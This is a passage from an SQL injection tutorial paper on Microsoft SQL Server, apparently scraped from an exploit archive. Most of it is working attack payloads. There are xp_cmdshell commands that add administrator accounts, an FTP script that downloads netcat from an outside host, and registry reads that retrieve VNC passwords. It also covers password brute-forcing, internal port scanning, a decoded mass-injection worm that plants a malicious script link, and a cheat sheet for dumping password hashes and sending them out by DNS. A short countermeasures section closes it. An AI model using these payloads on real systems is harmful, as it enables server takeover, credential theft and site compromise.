COUNT(i.colid)rid syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WH id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97 The above request is used to determine the second character of the first column name in specific table. In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as, http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WH id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97 The first character of the second column name in specific table can be determined by the above request. ############################################## [0x04] - More Dangerous SQL Injection Attack ############################################## In Chapter [0x02] and [0x03], We described about retrieving any useful data that was extracted from database via SQL Injection techniques - for example, by performing a UNION Attack, Returning data in an error message and Blind inj This chapter will not show only an data extraction but command execution and sql worms as well. +++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x04a] - Dangerous from Extended Stored Procedures +++++++++++++++++++++++++++++++++++++++++++++++++++++ xp_cmdshell - Executes a given command on the MSSQL Operation system - Available by default on all MSSQL (Disabled on MSSQL 2005) - Can only be executed by 'sa' and any other users with 'sysadmin' privileges xp_regxxx - Read/Write registry keys, potentially including the Read SAM file xp_regread xp_regwrite xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues [Example for determines what null-session shares are available on the server] exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServiceslanmanserverparameters','nullsessio xp_servicecontrol - Allows to Manage Services [Example Command]-------------------------------------------------------------------- exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server' [End Command]------------------------------------------------------------------------ xp_availablemedia - Reveals the available drives on the machine xp_dirtree - Allows a directory tree to be obtained xp_enumdsn - Enumerates ODBC data sources on the server xp_makecab - Allows the user to create a compressed archive of files on the server xp_ntsec_enumdomains - Enumerates domains that the server can access xp_terminate_process - Terminate a process (PID) xp_loginconfig - Login mode +++++++++++++++++++++++++++++++++++++++++++++ [0x04b] - Advanced SQL Injection Techniques +++++++++++++++++++++++++++++++++++++++++++++ "xp_cmdshell" Stored procedures, executes any command shell in the server with the same permissions that it is cur By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again u 12 of 17 12/24/10 5:49 PM
  • 13. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ EXEC master.dbo.xp_cmdshell 'net user cwh cwh1234 /add' ;-- //Use for add user "cwh" into system. EXEC master.dbo.xp_cmdshell 'net localgroup administrators cwh /add' ;-- //Use for escalating privilege "cwh" to ad Example through SQL injection in a numeric field via a GET request: http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command' On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default: EXEC sp_configure 'show advanced options', 1;-- RECONFIGURE;-- EXEC sp_configure 'xp_cmdshell', 1;-- RECONFIGURE;-- On MSSQL 2000: If you have 'sa' privileges but xp_cmdshell has been disabled/removed with sp_dropextendedproc, we can simply inject the following code: EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';-- This creates a new stored procedure 'xp_anyname' linked to xp_log70.dll, which provides the xp_cmdshell functional If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inje CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS DECLARE @result int, @OLEResult int, @RunResult int DECLARE @ShellID int EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OADestroy @ShellID return @result ** Tip ** [Question] Determined that the web application connects to the DB with unprivileged account. So we can't execute XP_CMDSHELL or access any interesting data ? [Answer] It's not the end, First we must enumerate MSSQL user accounts that have system administrator privileges. [Code]-------------------------------------------------------------------------------------- http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins where name [End Code]---------------------------------------------------------------------------------- [Result]------------------------------------------------------------------------------------ sa cwh example [End Result]-------------------------------------------------------------------------------- We can use "OPENROWSET" to re-connect to the same database server under each enumerated sysadmin account and guess passwords. This was automated via a Perl script to do brute-force password guessing through the [Code]-------------------------------------------------------------------------------------- http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','server=VICTIMDBNAME;uid=$USER;pwd=$PASS',' [End Code]---------------------------------------------------------------------------------- //Result: Found that "CWH" has a "1234" Leveraged the "OPENDATASOURCE" function to execute a stored procedure on the database, under the "CWH" system admi [Code]-------------------------------------------------------------------------------------- http://www.example.com/news.asp?id=1; EXEC opendatasource('SQLoledb','Persist Security Info=False;DataSource=VICTIMDBNAME; .dbo.xp_cmdshell 'net user hacklol 1234 /add'; [End Code]---------------------------------------------------------------------------------- //Dirty Attack: use TFTP Netcat and run a reverse shell. Gained Internet access to the internal network. = How about Upload of executables ? = Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the targe A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections all that is needed is to inject the following queries: exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';-- exec master..xp_cmdshell 'echo USER >> ftpscript.txt';-- exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';-- exec master..xp_cmdshell 'echo bin >> ftpscript.txt';-- exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';-- exec master..xp_cmdshell 'echo quit >> ftpscript.txt';-- exec master..xp_cmdshell 'ftp -s:ftpscript.txt';-- = How about Retrieving VNC Password from Registry ? = '; declare @out binary(8) 13 of 17 12/24/10 5:49 PM
  • 14. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ exec master..xp_regread @rootkey = 'HKEY_LOCAL_MACHINE', @key = 'SOFTWAREORLWinVNC3Default', @value_name='password', @value = @out output select cast (@out as bigint) as x into TEMP-- ' and 1 in (select cast(x as varchar) from temp)-- = How about Port Scanning ? = We can use SQL injection vulnerability as a rudimentary IP/Port Scanner of the Internal Network or Internet [Code]-------------------------------------------------------------------------------------- http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10 'select * from table')-- [End Code]---------------------------------------------------------------------------------- This Code will outbound the connection to 10.10.10.12 over port 80. If the port is closed, the timeout (5 in parameter will be consumed and display error message: "SQL Server does not exist or access denied" If port is open, the timeout would not be consumed and error messages will returned: "General network error. Check your network documentation" or "OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error." This technique, We will be able to map open ports on the IP addresses of hosts on the internal network (w00t !!) ** Note ** This technique can use for Denial of Service (DoS). Just change port to some port such as: FTP (21), and c It's make many connections to target over FTP service (port 21) ++++++++++++++++++++++++++++++++++++++ [0x04c] - Mass MSSQL Injection Worms ++++++++++++++++++++++++++++++++++++++ Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult t even with the most robust database backup and recovery scheme. This attack is conducted with the help of an Internet robot known as malbot—which attacks its prospects daily. It is likely that such a malbot fires the series of injection attempts and conditionally until the malicious script references are sensed on the targeted web pages. There is nothing new in the the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see. [SQLi worm]--------------------------------------------------------------------------------- ';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028 0029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C00 7500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C 0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D00 6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027 0061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D00330035002000 62002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC( [End SQLi]---------------------------------------------------------------------------------- When we decode this SQLi Code with Hex: [SQLi Decoded]------------------------------------------------------------------------------ DECLARE @T VARCHAR(255) DECLARE @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT [A].[Name], [B].[Name] FROM sysobjects AS [A], syscolumns AS [B] WHERE [A].[ID] = [B].[ID] AND [A].[XType] = 'U' /* Table (User-Defined) */ AND ([B].[XType] = 99 /* NTEXT */ OR [B].[XType] = 35 /* TEXT */ OR [B].[XType] = 231 /* SYSNAME */ OR [B].[XType] = 167 /* VARCHAR */) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE (@@FETCH_STATUS = 0) BEGIN EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.fengnima.cn FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor [End SQLi]---------------------------------------------------------------------------------- What happens as a result? It finds all text fields in the database and adds a link to malicious javascript 14 of 17 12/24/10 5:49 PM
  • 15. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ <script src="http://www.fengnima.cn/k.js"></script> to each and every one of them which will make your website display the So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dyn an article ID, product ID, etc) parameter and tried to use that to upload their SQL injection code. ######################################## [0x05] - MSSQL Injection Cheat Sheet ######################################## ** Some of the queries in the table below can only be run by an admin (SA Privilege). These are marked with "-- priv" at the end of the query. ** +---------------+---------------------------------------------------------------------------+ | Version | SELECT @@version | |---------------|---------------------------------------------------------------------------| | Comments | SELECT 1 -- comment | | | SELECT /*comment*/1 | |---------------|---------------------------------------------------------------------------| | | SELECT user_name(); | | | SELECT system_user; | | Current User | SELECT user; | | | SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID | |---------------|---------------------------------------------------------------------------| | List Users | SELECT name FROM master..syslogins | |---------------|---------------------------------------------------------------------------| | | MSSQL2000: SELECT name, password FROM master..sysxlogins -- priv | | | | | | SELECT name, master.dbo.fn_varbintohexstr(password) | | | FROM master..sysxlogins -- priv | | List Password | | | Hashes | MSSQL2005: SELECT name, password_hash FROM | | | master.sys.sql_logins -- priv | | | | | | SELECT name + '-' + | | | master.sys.fn_varbintohexstr(password_hash) | | | FROM master.sys.sql_logins -- priv | |---------------|---------------------------------------------------------------------------| | | SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? | | | returns 1 for true, 0 for false, NULL for invalid role. | | | Also try 'bulkadmin', 'systemadmin' and other values. | | List DBA | | | Accounts | | | | SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? | | | return 1 for true, 0 for false, NULL for invalid role/username. | |---------------|---------------------------------------------------------------------------| | Current DB | SELECT DB_NAME() | |---------------|---------------------------------------------------------------------------| | List | SELECT name FROM master..sysdatabases; | | Databases | SELECT DB_NAME(N); -- for N = 0, 1, 2, ... | |---------------|---------------------------------------------------------------------------| | | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE | | | name = 'mytable'); -- for the current DB only | | | | | List Columns | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM | | | master..syscolumns, master..sysobjects WHERE | | | master..syscolumns.id=master..sysobjects.id AND | | | master..sysobjects.name='sometable'; -- list colum names | | | and types for master..sometable | |---------------|---------------------------------------------------------------------------| | | SELECT name FROM master..sysobjects WHERE xtype = 'U'; | | | (Use xtype = 'V' for views) | | | SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; | | | | | List Tables | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) | | | FROM master..syscolumns, master..sysobjects WHERE | | | master..syscolumns.id=master..sysobjects.id AND | | | master..sysobjects.name='sometable'; -- list column names and types | | | for master..sometable | |---------------|---------------------------------------------------------------------------| | | -- NB: This example works only for the current database. | | | If you wan't to search another db, you need to specify the db name | | Find Tables | (e.g. replace sysobject with mydb..sysobjects). | | From | | | Column Name | SELECT sysobjects.name as tablename, syscolumns.name as columnname | | | FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id | | | WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- | | | this lists table, column for each column containing the word 'password' | |---------------|---------------------------------------------------------------------------| | Select | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins | | Nth Row | ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row | |---------------|---------------------------------------------------------------------------| |Select Nth Char| SELECT substring('abcd', 3, 1) -- returns c | |---------------|---------------------------------------------------------------------------| | Bitwise AND | SELECT 6 & 2 -- returns 2 | | | SELECT 6 & 1 -- returns 0 | |---------------|---------------------------------------------------------------------------| | ASCII Value | SELECT char(0x41) -- returns A | | -> Char | | |---------------|---------------------------------------------------------------------------| | Char -> ASCII | SELECT ascii('A') - returns 65 | | Value | | 15 of 17 12/24/10 5:49 PM
  • 16. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ |---------------|---------------------------------------------------------------------------| | Casting | SELECT CAST('1' as int); | | | SELECT CAST(1 as char) | |---------------|---------------------------------------------------------------------------| | String | SELECT 'A' + 'B' - returns AB | | Concatenation | | |---------------|---------------------------------------------------------------------------| | If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1 | |---------------|---------------------------------------------------------------------------| |Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1 | |---------------|---------------------------------------------------------------------------| |Avoiding Quotes| SELECT char(65)+char(66) -- returns AB | |---------------|---------------------------------------------------------------------------| | Time Delay | WAITFOR DELAY '0:0:5' -- pause for 5 seconds | |---------------|---------------------------------------------------------------------------| | | declare @host varchar(800); select @host = name FROM master..syslogins; | | | exec('master..xp_getfiledetails ''' + @host + 'c$boot.ini'''); | | | -- nonpriv, works on 2000 | | | | | | declare @host varchar(800); select @host = name + '-' + | | Make | master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' | | DNS Requests | from sys.sql_logins; exec('xp_fileexist ''' + @host + 'c$boot.ini''');| | | -- priv, works on 2005 | | | | | | -- NB: Concatenation is not allowed in calls to these SPs, hence why we | | | have to use @host. Messy but necessary. | | | -- Also check out theDNS tunnel feature of sqlninja | |---------------|---------------------------------------------------------------------------| | Command | EXEC xp_cmdshell 'net user'; -- priv | | Execution | | |---------------|---------------------------------------------------------------------------| | Local | CREATE TABLE mydata (line varchar(8000)); | | File Access | BULK INSERT mydata FROM 'c:boot.ini'; | | | DROP TABLE mydata; | |---------------|---------------------------------------------------------------------------| | Hostname, IP | SELECT HOST_NAME() | |---------------|---------------------------------------------------------------------------| | Create Users | EXEC sp_addlogin 'user', 'pass'; -- priv | |---------------|---------------------------------------------------------------------------| | Drop Users | EXEC sp_droplogin 'user'; -- priv | |---------------|---------------------------------------------------------------------------| | Make User DBA | EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv | +---------------+---------------------------------------------------------------------------+ ######################################## [0x06] - SQL Injection Countermeasures ######################################## Main cause of SQL injection vulnerability is input validation. Many web developers do not provide proper mechanism in order to sanitize any form of input. So, attackers take advantage of this point and gain access to many databases. There are solutions to prevent SQL injection vulnerability. - Use whilelist input: because we cannot know all of bad inputs, so the efficient way is to allow only our known-valid inp - Check input type: in some cases, attackers inject string into numeric input field or inject numeric into string input fi these may cause SQL injection vulnerability - Escape database metacharacters: use / in order to escape database metacharacters by prepending / in front of metacharate - Don't ignore any ways of input: attackers can manipulate input to exploit SQL vulnerabilities, so you must not care only cookies and form fields as well - Use Parameterized Queries: MSSQL provides API for handling inputs which can help us to prevent SQL injection. This mechanism is called "Parameterized Queries". The following two code samples illustrate the difference between an unsafe query dynamically constructed o user data, and its safe parameterized counterpart. In the first, the user-supplied name parameter is embeded directly into a SQL statement, leaving the application vulnerable to SQL injection: //define the query structure string queryText = "select ename,sak from emp where ename ='"; //concatenate the user-supplied name queryText += request.getParameter("name"); queryText += "'"; //execute the query stmt = con.createStatement(); rs = stmt.executeQuery(queryText); In the second example, the query structure is defined using a question mark as a placeholder for the user-supplied parameter. The prepareStatement method is invoked to interpret this, and fix the structure of the query that is to be executed. Only then is the setString method used to specify the actual value of the parameter. Because the query's structure has already been fixed, this value can contain any data at all, without affecting the structure. The query is then executed safely: //define the query structure String queryText = "select ename,sal from emp where ename = ?"; //prepare the statement through DB connection "con" stmt = con.prepareStatement(queryText); 16 of 17 12/24/10 5:49 PM
  • 17. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ //add the user input to variable 1 (at the first ? placeholder) stmt.setSting(1, request.getParameter("name")); //execute the query rs = stmt.executeQuery(); ##################### [0x07] - References ##################### [1] Error based SQL injection - a true story: AnalyseR [2] Advanced SQL Injection In SQL Server Applications: Chris Anley [3] ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino [4] http://pentestmonkey.net [5] http://www.owasp.org [6] http://www.milw0rm.com #################### [0x08] - Greetz To #################### Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK Special Thx : asylu3, str0ke, citec.us, milw0rm.com ---------------------------------------------------- This paper is written for Educational purpose only. The authors are not responsible for any damage originating from using this paper in wrong objective. If you want to use this knowledge with other person systems, you must request for consent from system owner before ---------------------------------------------------- # milw0rm.com [2009-01-29] Ā© Offensive Security 2010 17 of 17 12/24/10 5:49 PM